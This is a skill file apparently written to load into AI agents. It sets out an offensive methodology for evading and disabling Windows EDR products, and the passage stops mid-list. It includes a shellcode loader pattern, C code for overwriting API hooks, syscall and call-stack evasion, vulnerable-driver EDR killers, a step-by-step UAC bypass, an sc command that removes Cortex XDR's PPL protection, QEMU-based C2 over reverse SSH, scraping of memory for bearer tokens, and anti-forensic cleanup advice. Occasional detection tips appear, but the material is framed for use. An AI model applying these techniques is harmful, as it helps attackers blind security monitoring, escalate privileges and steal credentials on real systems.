Imported from DCx7C5/ai-marketplace (skills/offensive-edr-evasion/SKILL.md). Install upstream with npx skills add DCx7C5/ai-marketplace --skill offensive-edr-evasion. Copyright stays with the author.

Full Methodology

Endpoint Detection and Response

Fundamentals

AV vs EDR

Antivirus (preventive approach):

• Static Analysis: Matching known signatures in files
• Dynamic Analysis: Limited behavioral monitoring/sandboxing
• Effective against known threats, weaker against advanced attacks

EDR (proactive & investigative approach):

• Continuous endpoint monitoring
• Behavioral analysis at kernel level
• Anomaly detection and post-compromise visibility
• Prioritizes incident response and investigation

Windows Execution Flow

Windows program execution follows a hierarchical flow:

1. Applications - User programs like firefox.exe
2. DLLs - Libraries providing Windows functionality without direct low-level access
3. Kernel32.dll - Core DLL for memory management, process/thread creation
4. Ntdll.dll - Lowest user-mode DLL that exposes the NT API interface to the kernel
5. Kernel - Core OS component with unrestricted hardware access

Example operation flow (creating a file):

1. Application invokes CreateFile function
2. CreateFile forwards to NtCreateFile
3. Ntdll.dll triggers NtCreateFile syscall
4. Kernel creates the file and returns a handle

EDR Visibility

EDR Architecture & Components

EDR solutions consist of multiple components creating a complex attack surface:

Client-Side Components:

• User-space Applications - Main agent processes and UI components
• Kernel-space Drivers - Filter drivers, network drivers, software drivers
• Communication Interfaces - IOCTLs, FilterConnectionPorts, ALPC, Named Pipes

Component Communication Methods:

• Kernel-to-Kernel: Exported functions, IOCTLs
• User-to-Kernel: IOCTLs, FilterConnectionPorts (minifilter-specific), ALPC
• User-to-User: ALPC, Named Pipes, Files, Registry

Server-Side Components:

• Cloud services and management consoles
• On-premise servers (some vendors)
• Custom protocols for agent-to-cloud communication

EDR Visibility Methods

EDR solutions require extended visibility into system activities:

• Filesystem monitoring via mini-filter drivers
• Process/module loading via image load kernel callbacks
• Process/.NET modules/Registry/kernel object events via ETW Ti
• Network monitoring via NDIS and network filtering drivers

Static Analysis

• Extract information from binary
  • Known malicious strings
  • Threat actor IP or domains
  • Malware binary hashes

Dynamic Analysis

• Execute binary in a sandbox environment and observe it
  • Network connections
  • Registry changes
  • Memory access
  • File creation/deletion
• AntiMalware Scan Interface

Behavioral Analysis

• Observe the binary as its executing, Hook into functions/syscalls
  • User actions
  • System calls
  • Kernel callbacks
  • Commands executed in the command line
  • Which process is executing the code
  • Event Tracing for Windows

Detection Methods

AV Signature Scanning

• Scans files using known signatures (YARA rules)
• Typically targets loaders and droppers
• Primarily static analysis of files on disk

AV Emulation

• Runs suspicious programs in a simulated environment
• Triggers on behaviors without executing real code
• Used to detect obfuscated malware

Usermode Hooks

• EDR hooks critical API calls in userspace (ntdll.dll)
• Monitors process creation, memory allocations, and network operations
• Allows for inspection before execution continues

Kernel Telemetry

• Monitors events directly from the kernel
• Captures file, registry, process, and network operations
• Difficult to bypass as it operates at a lower level

Memory Scanning

• Scans process memory for known signatures
• Triggers based on suspicious behavior
• Looks for shellcode, encryption, malicious strings
• Modern Context:
  • Attackers also scan process memory for sensitive artifacts like authentication tokens. Co‑pilot/IDE integrations, chat assistants, and browser extensions frequently cache Bearer/JWT tokens in memory.
  • Practical triage: search for "Authorization: Bearer", "eyJ" (base64 JWT prefix), or provider‑specific headers; dump minimal pages to avoid tripping anti‑exfil rules.

OpSec Quickstart (lab)

• Pre‑run
  • Network: block or sinkhole vendor EDR/XDR endpoints; disable cloud sample submission; tag lab hosts.
  • Mitigations snapshot: Get-ProcessMitigation -System; Get-CimInstance Win32_DeviceGuard (VBS/HVCI/KDP); Get-MpPreference (ASR/Cloud).
  • Events baseline: enable and tail Microsoft-Windows-CodeIntegrity/Operational, Security (4688/4689), Microsoft-Windows-Sense/Operational, Sysmon (if present).
• Injection hygiene
  • Favor MEM_IMAGE mappings (ghosting/herpaderping/overwriting) over MEM_PRIVATE RWX to avoid 24H2 hotpatch loader checks.
  • Satisfy XFG/CET: jump via import thunks; ensure IBT ENDBR64 at indirect targets; maintain plausible stacks for syscalls (replicate ntdll frames).
  • Avoid noisy APIs: split alloc/write/exec over time; prefer APC+NtContinue pivots; keep thread contexts consistent.
• Telemetry minimization
  • Jitter long‑lived channels; prefer named‑pipe/HTTP3 over noisy HTTP1; throttle upload intervals.
  • Use COM/runspace over PowerShell console to reduce script‑block logs; avoid AMSI‑flagged prologues.
• Cleanup
  • Remove services, tasks, drivers; restore SDDL; revert registry policy flips (WDAC/CI/Defender) and re‑enable protections.
  • Purge user caches (Recent Files, Jump Lists) and ETW providers enabled during tests.

Memory Regions

• Monitors suspicious memory allocation patterns
• Flags RWX (read-write-execute) regions
• Tracks regions that change from RW to RX

Callstack Analysis

• Examines the call stack of suspicious functions
• Verifies legitimate origin of critical operations
• Detects unusual function call chains

Hook Implementation

EDRs can't directly hook kernel memory due to PatchGuard, so they:

1. Inject their DLL into newly spawned processes
2. Position before malware can block/unmap it
3. Adjust _PEB, hook process's module IAT/Imports, and loaded libraries EAT/Exports
4. Implement trampolines, hooks, and detours

ETW Monitoring

• EDR maintains ring-buffer with per-process activities produced by ETW Ti:
  • Processes, command lines, parent-child relationships
  • File/Registry/Process open/write operations
  • Created threads, their call stacks, starting addresses
  • Native functions called
  • Created .NET AppDomains, loaded .NET assemblies, static class names, methods

Event Correlation

• High fidelity alert (such as LSASS open) triggers correlation of collected activities
• High memory/resources cost limits preservation of events to a time window
• ML/AI may compute risk scores and isolate TTP (Tactics, Techniques, and Procedures)

Shellcode Loaders

Shellcode loaders typically follow this pattern:

char *shellcode = "\xAA\xBB...";
char *dest = VirtualAlloc(NULL, 0x1234, 0x3000, PAGE_READWRITE);
memcpy(dest, shellcode, 0x1234)
VirtualProtect(dest, 0x1234, PAGE_EXECUTE_READ, &result)
(*(void(*)())(dest))();  // jump to dest: execute shellcode

Attacking EDR Infrastructure Directly

Driver Attack Surface Analysis

A systematic approach to analyzing EDR drivers from a low-privileged user perspective:

1. Driver Discovery

Static Analysis:

# List loaded drivers
driverquery /v
Get-WindowsDriver -Online -All

# Using WMI
Get-WmiObject Win32_PnPSignedDriver | Select-String "EDR_Vendor"

Dynamic Analysis:

# Using sc command
sc query type= driver state= all

# Process Monitor filtering
# Filter: Process and Thread Activity -> Show Image/DLL

2. Interface Enumeration

Device Driver Interfaces:

• Listed in WinObj under "GLOBAL??" as Symbolic Links
• Accessible via \\.\DEVICE_NAME format
• Tools: WinObj (Sysinternals), DeviceTree (OSR - discontinued)

Mini-Filter Driver Interfaces:

• Listed in WinObj as "FilterConnectionPort" objects
• Communication via FltCreateCommunicationPort API
• Example paths: \CyvrFsfd, \SophosPortName

3. Access Permission Analysis

Device Driver ACL Checking:

// Using DeviceTree (preferred) or kernel debugger
// WinDbg example:
!object \Device\DeviceName
!sd <SecurityDescriptor_Address> 1

FilterConnectionPort ACL Checking:

# Using NtObjectManager (James Forshaw)
Get-FilterConnectionPort -Path "\FilterPortName"
# Error indicates access denied

# In WinDbg:
!object \FilterPortName
dx (((nt!_OBJECT_HEADER*)0xAddress)->SecurityDescriptor & ~0xa)
!sd <SecurityDescriptor_Address> 1

4. Interface Functionality Analysis

Device Driver Communication:

• Primary method: DeviceIoControl() → IRP_MJ_DEVICE_CONTROL
• IOCTL codes differentiate between functions
• May include process ID verification for authorization

FilterConnectionPort Communication:

• Uses callback functions: ConnectNotifyCallback, DisconnectNotifyCallback, MessageNotifyCallback
• Similar to IOCTL dispatch with different message types

5. Common EDR Driver Interfaces

Examples of accessible interfaces found in research:

Palo Alto Cortex XDR:

• Device Interfaces:
  • \\.\PaloEdrControlDevice (tedrdrv.sys) - ~20 IOCTL handlers with various functionality
  • \\.\CyvrMit (cyvrmtgn.sys) - Legacy Cyvera interface
  • \\.\PANWEdrPersistentDevice11343 (tedrpers-.sys) - Persistent device interface
• FilterConnectionPort: Various ports with different ACLs
• Research Findings:
  • IOCTL 0x2260D8 returns 3088 bytes of statistics data (accessible to low-privileged users)
  • IOCTL 0x2260D0 provides initialization status information
  • Some interfaces accessible due to injected DLL architecture requiring broad permissions

Sophos Intercept X:

• FilterConnectionPort: \SophosPortName
• Analysis Results: Accessible interfaces for legitimate process communication but limited attack surface

6. Why EDRs Have Open ACLs

EDRs often use an architecture where:

• Agent injects DLLs into processes (including low-privileged ones like word.exe)
• Injected DLLs communicate directly with drivers via IOCTLs
• Drivers cannot restrict based solely on process privilege level
• Results in more permissive ACLs to accommodate legitimate injected processes

Evasion Techniques

Memory-Based Evasion

EDR-Freeze

A novel technique exploiting Windows Error Reporting (WER) to temporarily disable EDR/AV processes:

Mechanism

• Leverages WerFault.exe and Windows Error Reporting infrastructure
• Suspends all threads in target EDR/AV processes indefinitely
• No kernel-mode access or driver exploitation required
• Operates entirely from user-mode context

Technical Implementation

• Trigger WER fault injection on target security process
• WER suspends all threads for crash dump generation
• Attacker maintains suspended state without completing crash handling
• Target process remains alive but non-functional

Advantages

• No elevation required in default WER configurations
• Avoids detection heuristics for process termination
• Temporary disabling without unloading kernel drivers
• Minimal forensic footprint compared to driver killing

Limitations

• Effectiveness varies by Windows version and WER configuration
• Some EDRs implement anti-suspension protections
• Temporary nature requires continuous re-application
• May generate WER event logs exposing the technique

[!TIP] Blue team detection: Alert on PssSuspendProcess / PssSuspendThread API calls combined with OpenProcess targeting EDR process IDs, or monitor Event ID 1001 (Windows Error Reporting) with unusual source processes.

Memory Encryption

• Encrypts shellcode in memory when not in use
• Popular techniques:
  • SWAPPALA / SLE(A)PING
  • Thread Pool / Pool Party
  • Gargoyle
  • Ekko
  • Cronos
  • Foliage

Sleep Obfuscation

• ROP-Styles sleep obfuscations
  • Ekko
  • FOLIAGE
  • these setup _CONTEXT in advance so that EIP/RIP points to native API
  • and then schedule APC with NtContinue to jump to that requested API

Secure Enclaves (VBS)

• Virtualization-Based Security (VBS) enclaves provide an isolated user-mode TEE that even kernel-mode sensors cannot inspect under normal conditions.
• Deprecation/support scope (Microsoft):
  • Windows 11 ≤ 23H2: VBS enclaves are deprecated; existing enclaves signed with the legacy EKU (OID 1.3.6.1.4.1.311.76.57.1.15) continue to run until re-signed. New enclave signing requires updated EKUs and is not supported on these versions.
  • Windows 11 24H2+ and Windows Server 2025: VBS enclaves are supported with new EKUs.
• Security fix: CVE-2024-49076 (VBS Enclave EoP) — ensure December 2024+ updates are applied.
• Signing constraints: Only Microsoft-signed enclave DLLs or DLLs signed via Azure Trusted Signing load; test- or self-signed DLLs are rejected.
• Architecture summary:
  • Enclave host app (VTL0) invokes enclave APIs; enclave DLL executes in isolated user mode (VTL1) with restricted API surface; Secure Kernel validates integrity.
• Offensive considerations (lab): viable for secure storage of secrets/implants during sleep and for hiding sensitive code paths; limited by restricted API surface and signing requirements.
• Practical notes:
  • On unsupported SKUs/versions, enclave APIs may appear and return STATUS_FEATURE_DEPRECATED.
  • Prefer testing on Windows 11 24H2+/Server 2025 with proper signing.

Malware Virtualization

• Malware virtualization provides advanced evasion against modern EDR:

  • Embeds a custom virtual machine to execute bytecode instead of native code
  • Makes static and dynamic analysis difficult through instruction obfuscation
  • Prevents detection of instruction patterns and behavior prediction

• Implementation advantages:

  • Conceals malicious instructions from EDR monitoring
  • Protects against code patching attempts
  • Hinders behavioral analysis through custom execution model

• Multi-VM approach further evades detection:

  • Multiple VMs running concurrently disrupts heuristic pattern detection
  • Each VM creates distinct event patterns, confusing EDR correlation
  • "ETW noise" technique to blend with legitimate activity

• Deployment strategies:

  • Bytecode polling - periodically fetching new instructions from C2
  • Using transpilers to convert compiled binaries to custom bytecode
  • Applying polymorphic engine to mutate VM code itself

• Successfully evaded detection for:

  • Initial shellcode/bytecode execution (subsequent actions still monitored)
  • Specific AV/EDR patching routines (may require updates per product)
  • Initial C2 communication (ongoing traffic patterns may be detected)
  • Specific AD queries (patterns of queries can still be flagged)

QEMU-Based Virtualization Evasion

• Concept: Deploy portable QEMU VMs to execute malicious code within guest OS, avoiding host-based EDR detection

• Technical Implementation:

  • Portable QEMU deployment via ZIP archives containing VM binaries and configurations
  • Tiny Core Linux as lightweight guest OS (minimal footprint ~50MB)
  • VBS scripts for automated VM deployment and execution
  • Custom hostname generation for VM identification and tracking

• Configuration Examples:

  # VBS deployment script
  Set shell = CreateObject("WScript.Shell")
  shell.Run "tc.exe -m 512 -hda tc.qcow2 -netdev user,id=net0 -device e1000,netdev=net0"

  # QEMU configuration file (upd.conf)
  -m 512
  -hda tc.qcow2
  -netdev user,id=net0
  -device e1000,netdev=net0

• Persistence Mechanisms:

  • bootlocal.sh modifications for startup execution
  • filetool.lst configuration for file persistence across reboots
  • SSH service installation and configuration within guest VM
  • Reverse SSH tunnels over port 443 for C2 communication

• Advanced Techniques:

  • Anti-forensic SSH configuration (StrictHostKeyChecking=no, known hosts to /dev/null)
  • SSL/NoSSL tool deployment for encrypted communications
  • Randomized hostname generation to mask VM tracking
  • Port 443 tunneling to blend with HTTPS traffic

• Detection Evasion Benefits:

  • Guest VM operations invisible to host-based EDR sensors
  • VM network traffic appears as legitimate application activity
  • File operations contained within guest filesystem
  • Process execution isolated from host monitoring

• Limitations & Considerations:

  • Requires administrative privileges for some QEMU operations
  • VM resource consumption may be detectable
  • Network traffic patterns might still trigger detection
  • Initial VM deployment artifacts remain on host filesystem

Hook Evasion

Unhooking

• malware overwrites EDR hooks before executing payload
• you can obtain original ntdll.dll from disk and overwrite it inside your own process
• or you can start the malware process in suspended state and copy the clean ntdll.dll from you own memory before executing
  • Modern Context: While historically effective, relying solely on replacing ntdll.dll or its hooked sections is less reliable. Modern EDRs often use kernel callbacks, ETW, and other telemetry sources that are not bypassed by user-mode unhooking alone. This technique is often used in conjunction with others.

    [!CAUTION] accessing ntdll.dll file can be flagged, API call to overwrite it also might be hooked by EDR

API Unhooking for AV Bypass

• Most EDR/AVs like BitDefender hook Windows APIs by replacing first bytes with JMP instructions (opcode 0xE9)

• Modern Context: Similar to general unhooking, patching specific API prologues can bypass simple user-mode hooks, but comprehensive EDR solutions have additional detection layers (kernel events, behavioral analysis) that may still detect the malicious activity following the unhook.

• How to identify hooked APIs:

  • Create a test program that calls potentially hooked APIs
  • Examine first byte of API function using a debugger (like x64dbg)
  • If first byte is 0xE9, the function is hooked

• Common hooked APIs:

  • CreateRemoteThread/CreateRemoteThreadEx
  • VirtualAllocEx
  • WriteProcessMemory
  • OpenProcess
  • RtlCreateUserThread

• Unhooking approach:

  1. Store original bytes of target APIs from clean system
  2. Identify hooked functions in memory
  3. Restore original bytes using WriteProcessMemory on the current process
  4. Execute malicious code using now-unhooked APIs

• Sample implementation:

  // Find address of target API function
  HANDLE kernelbase_handle = GetModuleHandle("kernel32");
  LPVOID CreateRemoteThread_address = GetProcAddress(kernelbase_handle, "CreateRemoteThread");
  
  // Check if function is hooked (first byte is 0xE9)
  byte first_byte = (byte)*(char*)CreateRemoteThread_address;
  if (first_byte == 0xe9) {
      // Replace with original bytes
      char original_bytes[] = "\x4C\x8B\xDC\x48\x83"; // Original prologue bytes
      WriteProcessMemory(GetCurrentProcess(), CreateRemoteThread_address, original_bytes, 5, NULL);
  }

• This technique is effective but may require separate execution for the final payload since some AVs block executing immediately after unhooking. Modern EDRs might still correlate the unhooking activity with subsequent suspicious actions.

Unhooking Tools

• unhook BOF - module refreshing (less reliable now due to alternative EDR telemetry sources)
• Unhookme - dynamic unhooking

Direct System Calls

• malware circumvents hook in system DLL by directly system calling into kernel
• you can implement own syscall in assembly and bypass ntdll.dll hooks
• or obtain SSN(System Service Number) dynamically and call them(can be done via SysWhispers2)
  • Direct syscalls bypass user-mode hooks in ntdll.dll but do not inherently bypass kernel-level monitoring (e.g., via kernel callbacks or ETW). EDRs are increasingly monitoring for patterns indicative of direct syscall usage itself (e.g., unusual call stack origins for syscalls).

    [!CAUTION] having syscall assembly instructions can be flagged, also this only helps the loader to evade the EDR not the malware itself

  • Major EDR vendorsnow flag non‑ntdll syscall sites; consider return‑address replication gadgets to re‑insert a plausible ntdll frame before the transition.

[!CAUTION] Some EDRs flag syscalls originating outside ntdll.dll. Maintaining plausible stacks/return frames may be required to avoid heuristics.

Direct Syscall Tools

Bypasses user-mode hooks but not kernel monitoring. Requires System Service Dispatch Table (SSDT) index:

• FreshyCalls - sorting system call addresses
• SysWhispers2 - modernized syscall resolution
• SysWhispers3 - adds x86/Wow64 support
• Runtime Function Table - reliable SSN computation

Indirect System Calls

• malware uses code fragments in kernel DLL without calling the hooked functions in those DLL
• prepare the system call in assembly then find a syscall instruction in ntdll.dll and jump to that location
  • Modern Context: Similar to direct syscalls, this bypasses user-mode hooks but not necessarily kernel-level monitoring. Finding and jumping to existing syscall instructions can be less suspicious than embedding raw syscall stubs, but the subsequent kernel activity is still visible.

    [!TIP] this is preferred,you can also boost evasion techniques by hiding inside a .dll

Kernel‑Mode EDR Killers (BYOVD)

• Bring‑Your‑Own‑Vulnerable‑Driver (BYOVD) attacks load legitimately signed but exploitable drivers—examples include rtcore64.sys, iqvw64e.sys, and terminator.sys—to execute privileged code inside the kernel.
• Typical payload actions
  • Patch or unregister kernel‑mode notify callbacks (PsSetCreateProcessNotifyRoutine, ObRegisterCallbacks) to blind user‑mode EDR components.
  • Overwrite or unload WdFilter.sys and other sensor drivers, fully disabling Defender or third‑party agents.
• Public toolchains such as Terminator, kdmapper, and EDRSensorDisabler automate these steps.
• Case study: Lenovo LnvMSRIO.sys (CVE‑2025‑8061). Exposes physical memory/MSR read‑write primitives to low‑privileged users; can overwrite MSR_LSTAR and pivot to Ring‑0 payload, then patch/unregister callbacks to blind EDR.

[!TIP] The vulnerable‑driver blocklist (DriverSiPolicy.p7b) is enabled by default on Windows 11 22H2+ and refreshed every Patch Tuesday. Keep HVCI/KDP enabled so attacker drivers cannot patch protected code pages, and enable Hardware‑Enforced Stack Protection (CET/Shadow Stack) on Windows 11 24H2 to break call‑stack spoofing.

[!NOTE] Because the blocklist is on by default and updated frequently, a BYOVD chain now often needs two vulnerable drivers: one to disable Secure Boot or flip CiOptions, and a second to perform the EDR‑killer actions before the next blocklist refresh.

User-Mode Application Whitelisting Bypass

Exploiting Vulnerable Trusted Applications

Windows Defender Application Control (WDAC) and similar application whitelisting solutions can be bypassed by leveraging vulnerabilities in trusted, signed applications. A notable technique involves exploiting N-day vulnerabilities in the V8 JavaScript engine within Electron-based applications.

• Concept (Bring Your Own Vulnerable Application - BYOVA):
  • A trusted, signed Electron application (e.g., an older version of VSCode) with a known V8 vulnerability is used as a carrier.
  • The application's main.js (or equivalent) is replaced with a V8 exploit that executes a native shellcode payload.
  • If the application is whitelisted, WDAC allows it to run, inadvertently executing the malicious shellcode.
• Advantages:
  • Achieves native shellcode execution, overcoming limitations of pure JavaScript execution in some backdoored Electron app scenarios.
  • Shellcode runs in a browser-like process context, where behaviors like Read-Write-Execute (RWX) memory regions (due to JIT compilers) are common and may appear less suspicious to EDRs.
• Exploit Development & Operationalization Challenges:
  • V8 Version Targeting: Electron's V8 often lags behind Chrome's and includes backported security patches. Vulnerabilities must be chosen that were patched after the target application's Electron version was frozen. Electron's cherry-picked patches should be reviewed.
  • Debugging: Building the specific V8 version (e.g., using d8 debug shell with --allow-natives-syntax for %DebugPrint()) is crucial for understanding memory layouts and adapting exploits.
  • Offset Inconsistencies: Hardcoded offsets in public exploits (often Linux-based) need adjustment for the target V8 version and OS (Windows). Function pointer offsets for overwriting can even vary between Windows versions.
    • Solution for offset variation: Launch the exploit multiple times in child processes, each trying a different potential offset. The parent process monitors for success (e.g., mutex creation by payload).
  • Sandbox Escape: Public V8 exploits might use sandbox escape techniques already patched (cherry-picked) in the target Electron V8 version, requiring new or modified escapes.
  • JIT Compiler Interference (e.g., V8 TurboFan):
    • Optimizations can consolidate repeated instruction sequences (e.g., multiple floating-point values), affecting shellcode smuggling. Workarounds include compact shellcode or varying instruction positions.
    • Copying large shellcode payloads can be problematic. Workaround: multiple smaller copy loops or using a stager payload that fetches the main payload.
  • Payload Obfuscation: Obfuscate the JavaScript exploit (e.g., in main.js) to hinder analysis. Re-obfuscating per deployment can help avoid signature-based detection.
• Defense & Future Considerations:
  • Electron's experimental integrity fuse feature, if enabled by developers, can verify the integrity of application files (including main.js) at runtime, potentially thwarting this technique by exiting if tampering is detected.
  • Older application versions without this fuse remain vulnerable.

Process Manipulation

Early Cascade Injection

• Novel process injection technique targeting user-mode process creation
• Combines elements of Early Bird APC with EDR-Preloading
• Avoids queuing cross-process APCs while maintaining minimal remote process interaction
• Works by:
  • Targeting processes during the transition from kernel-mode to user-mode (LdrInitializeThunk)
  • Leveraging callback pointers (like g_pfnSE_DllLoaded) during Windows process creation
  • Executing malicious code before EDR detection measures can initialize
• Advantages:
  • Operates before EDRs can initialize their hooks and detection measures
  • Particularly effective against EDRs that hook NtContinue or use delayed initialization
  • Avoids ETW telemetry that traditional injection techniques trigger
  • Minimal remote process interaction reduces detection footprint
  • More stealthy than traditional techniques like DLL hijacking or direct syscalls
• Key insight: EDRs typically load their detection measures after the LdrInitializeThunk function executes, providing a window of opportunity for code execution before security measures initialize
• watch for early NtCreateThreadEx inside LdrInitializeThunk

Early Startup Bypass

Concept: Execute malware before the EDR's user-mode component fully initializes, creating a window of opportunity for undetected execution.

Implementation:

• Target the gap between kernel driver loading and user-mode agent initialization
• Execute payload during system startup before EDR hooks are established
• Leverage services that start before EDR components

Research Findings (Cortex XDR):

• Successfully executed Mimikatz with lsadump::sam without detection during early startup
• EDR kernel drivers may be loaded but user-mode hooks not yet established
• Timing window varies depending on system performance and EDR implementation

Detection Evasion:

• Creates process activity before EDR monitoring is fully operational
• Avoids user-mode hooks that haven't been established yet
• Kernel-level monitoring may still detect activity depending on driver initialization order

Limitations:

• Requires precise timing and understanding of EDR startup sequence
• May not work against EDRs with early kernel-level monitoring
• Window of opportunity may be brief on fast systems

Waiting Thread Hijacking (WTH)

• A stealthier version of classic Thread Execution Hijacking
• Intercepts the flow of a waiting thread and misuses it for executing malicious code
• Avoids suspicious APIs like SuspendThread/ResumeThread and SetThreadContext that trigger most alerts
• Required handle access:
  • For target process: PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE
  • For target thread: THREAD_GET_CONTEXT
• Uses less monitored APIs:
  • NtQuerySystemInformation (with SystemProcessInformation)
  • GetThreadContext
  • ReadProcessMemory
  • VirtualAllocEx
  • WriteProcessMemory
  • VirtualProtectEx
• Implementation can be further obfuscated by splitting steps across multiple functions to evade behavioral signatures
• Primarily bypasses EDRs that focus on detecting specific API calls rather than behavioral patterns
• Effective against EDRs that are restrictive about remote execution methods but more lenient with allocations and writes
• Suitable for hiding the point at which implanted code was executed

PPID Spoofing

• Creates process with fake parent process ID
• Hides true process creation chain
• Makes process tree analysis misleading

Process Hiding

A technique to hide processes from EDR monitoring by manipulating the Interrupt Request Level (IRQL):

• Raise the IRQL of current CPU core
• Create and queue Deferred Procedure Calls (DPCs) to raise the IRQL of other cores
• Perform sensitive task (for example, hiding process)
• Signal DPCs in other cores to stop spinning and exit
• Lower IRQL of current core back to original

irql = RaiseIRQL();
dpcPtr = AcquireLock();
do_stuff();
ReleaseLock(dpcPtr);
LowerIRQL(irql);

This approach temporarily prevents EDR from monitoring the process during the critical operations by operating at an elevated privilege level.

[!NOTE] HVCI-enabled 23H2 kernels may crash when raising IRQL this way. Safer alternative: kernel-driver patching of PsLookupProcessByProcessId.

UAC Bypass via Intel ShaderCache Directory

• Concept: Exploits weak permissions (Authenticated Users: Full Control) on the Intel\ShaderCache directory (%LOCALAPPDATA%\LocalLow\Intel\ShaderCache) combined with the behavior of auto-elevated processes (like taskmgr.exe) writing to this location.
• Mechanism:
  1. Clear Directory: Requires aggressively terminating processes holding handles (explorer.exe, sihost.exe, etc.) and deleting files within the ShaderCache directory. Permissions might need adjustment (icacls) to allow deletion. Launching taskmgr.exe briefly (with a timeout) helps identify recently written filenames and can trigger writes needed for the exploit.
  2. Junction Creation: Create a directory junction from ShaderCache to \??\GLOBALROOT\RPC CONTROL.
  3. Symbolic Link: Determine a recently used filename within ShaderCache (before clearing). Create an object directory symbolic link (CreateDosDevice) from Global\GLOBALROOT\RPC CONTROL\<recent_filename> to a target DLL path (e.g., \??\C:\Windows\System32\oci.dll).
  4. Trigger Write: Launch an auto-elevated process (e.g., taskmgr.exe) that writes to ShaderCache. The write operation follows the junction and then the symbolic link, resulting in the creation of a (dummy) target file (e.g., oci.dll) in a privileged location (System32).
  5. Overwrite & Execute: Overwrite the created dummy file with the actual malicious DLL. Launch a process (like comexp.msc) that attempts to load the target DLL, thereby executing the malicious code with elevated privileges.
• EDR Relevance:
  • Bypasses User Account Control (UAC), a primary defense layer.
  • Relies on manipulating file system objects (junctions, symlinks) and process interactions that EDRs monitor.
  • Involves potentially noisy actions like mass process termination and permission changes.
  • The final payload execution often relies on DLL hijacking techniques.

[!TIP] Symlink/junction UAC races are build‑dependent and brittle. Validate on the specific target build; many have partial or complete mitigations.

PPL (Protected Process Light) Bypass

Concept: Bypass Protected Process Light security by creating alternative service configurations that avoid PPL protections.

Palo Alto Cortex XDR PPL Bypass Technique:

# Create alternative service that launches cyserver.exe without PPL protection
sc create "fake_cyserver" binPath="C:\Program Files\Palo Alto Networks\Traps\cyserver.exe" start=auto

How it works:

• Creates a second service that launches the EDR's main process (cyserver.exe)
• Original PPL-protected service fails to start due to startup dependencies
• New service configuration is not protected by EDR drivers
• EDR process runs without PPL protection, expanding attack surface

Limitations:

• Service names beginning with "cyserver*" are blocked by some EDR implementations
• EDR functionality may remain intact despite PPL bypass
• Self-protection mechanisms may still be active at process level
• Vendor response varies - may not be considered a security vulnerability

Detection & Response:

• EDR thinks original service is stopped but agent continues running
• Attack surface increases as process no longer has PPL protections
• Reported to Palo Alto on 12.09.2023 with limited vendor response

Broader Implications:

• Demonstrates service configuration vulnerabilities in EDR implementations
• Shows potential for bypassing Windows security features through alternative execution paths
• Relevant for other EDRs that rely on PPL for self-protection

Using NtCreateUserProcess for Stealthy Process Creation

The native API NtCreateUserProcess(), located in ntdll.dll, is the lowest-level user-mode function for creating processes. Calling it directly can bypass EDR hooks placed on higher-level functions like CreateProcessW in kernel32.dll. This makes it a valuable technique for stealthier process creation.

Key Concepts:

• Bypass Mechanism: Avoids user-land hooks on more commonly monitored APIs like CreateProcessW.
• Process Parameters: Requires careful setup of structures like RTL_USER_PROCESS_PARAMETERS (often via RtlCreateProcessParametersEx), PS_CREATE_INFO, and PS_ATTRIBUTE_LIST.
  • RTL_USER_PROCESS_PARAMETERS: Defines process startup information, including image path, command line, environment variables, etc. The ImagePathName must be in NT path format (e.g., \??\C:\Windows\System32\executable.exe).
  • PS_ATTRIBUTE_LIST: Can specify attributes like the image name.
• Flags: ProcessFlags and ThreadFlags allow fine-grained control over process and thread creation (e.g., creating suspended). Sources like Process Hacker's headers (ntpsapi.h) can provide valid flag definitions. For minimal use, these can sometimes be NULL.
• Implementation Details: Involves initializing several structures and using functions from ntdll.dll such as RtlInitUnicodeString, RtlCreateProcessParametersEx, and RtlAllocateHeap. The article also mentions that the ProcessParameters argument for NtCreateUserProcess was found to be mandatory, and RtlCreateProcessParametersEx is used with the RTL_USER_PROCESS_PARAMETERS_NORMALIZED flag. The PS_CREATE_INFO structure needs its Size and State (e.g., PsCreateInitialState) members initialized. The PS_ATTRIBUTE_LIST is populated to include the image name.

Example High-Level Steps:

1. Define the path to the executable using UNICODE_STRING and initialize it with RtlInitUnicodeString (e.g., L"\??\C:\Windows\System32\calc.exe").
2. Create and populate RTL_USER_PROCESS_PARAMETERS using RtlCreateProcessParametersEx, providing the image path and normalizing parameters.
3. Initialize a PS_CREATE_INFO structure.
4. Allocate and initialize a PS_ATTRIBUTE_LIST, setting the PS_ATTRIBUTE_IMAGE_NAME attribute with the image path.
5. Call NtCreateUserProcess with the prepared handles, access masks, and structures.
6. Perform cleanup, for instance, by calling RtlFreeHeap and RtlDestroyProcessParameters.

This technique allows for creating a new process with more direct control, potentially evading EDRs that primarily hook kernel32.dll API calls. However, EDRs with kernel telemetry or hooks deeper within ntdll.dll (or monitoring syscalls directly) might still detect the NtCreateUserProcess call or the subsequent behavior of the spawned process.

Advanced Process Execution Alternatives

• TangledWinExec - alternative process execution techniques
• rad9800 - indirectly loading DLL through a work item

Acquiring Process Handles

• Without using suspicious OpenProcess:
  • Find explorer.exe window handle using EnumWindows
  • Convert to process handle with GetProcessHandleFromHwnd
  • Leverage PROCESS_DUP_HANDLE to duplicate into a pseudo handle for Full Access

Callstack Manipulation

Return Address Overwrite

• overwrite function's return address with 0
  • that terminates call stack's unwinding algorithm
  • examination based on DbgHelp!StackWalk64 fails
• implement custom API resolver similar to GetProcAddress
  • before calling out to suspicious functions, overwrite RetAddr :=0
  • when system API returns, restore own RetAddr

Callstack Spoofing

• Manipulates the call stack to appear legitimate
• Makes it harder to detect malicious code execution
• Tools and techniques:
  • ThreadStackSpoofer
  • CallStackSpoofer
  • AceLdr
  • CallStackMasker
  • Unwinder
  • TitanLdr
  • uwd - Rust library for call stack spoofing with #[no_std] support
    • Offers both Synthetic (thread-like stack emulation) and Desync (JOP gadget-based stack misalignment) methods
    • Provides inline macros for spoofing functions and syscalls
    • Compatible with both MSVC and GNU toolchains on x86_64

Control Flow Manipulation

Control Flow Hijacking via Data Pointers

• Concept: Overwrite function pointers located in readable/writable memory sections (e.g., .data) to hijack control flow when that pointer is called. A key benefit is potentially avoiding noisy API calls like VirtualProtectEx if the target pointer already resides in a writable section.
• Target: Often targets pointers within KnownDlls (e.g., ntdll.dll, combase.dll) as they load at predictable base addresses across processes, simplifying remote process injection and pointer discovery.
• Mechanism:
  1. Identify a function pointer stored in a writable section (.data). This can be done manually via disassembly or automatically by scripting searches for code patterns (e.g., finding tailcall(rax) instructions where rax is loaded from .data).
  2. In a target process, allocate memory for shellcode (or a stub).
  3. Write the shellcode/stub to the allocated memory.
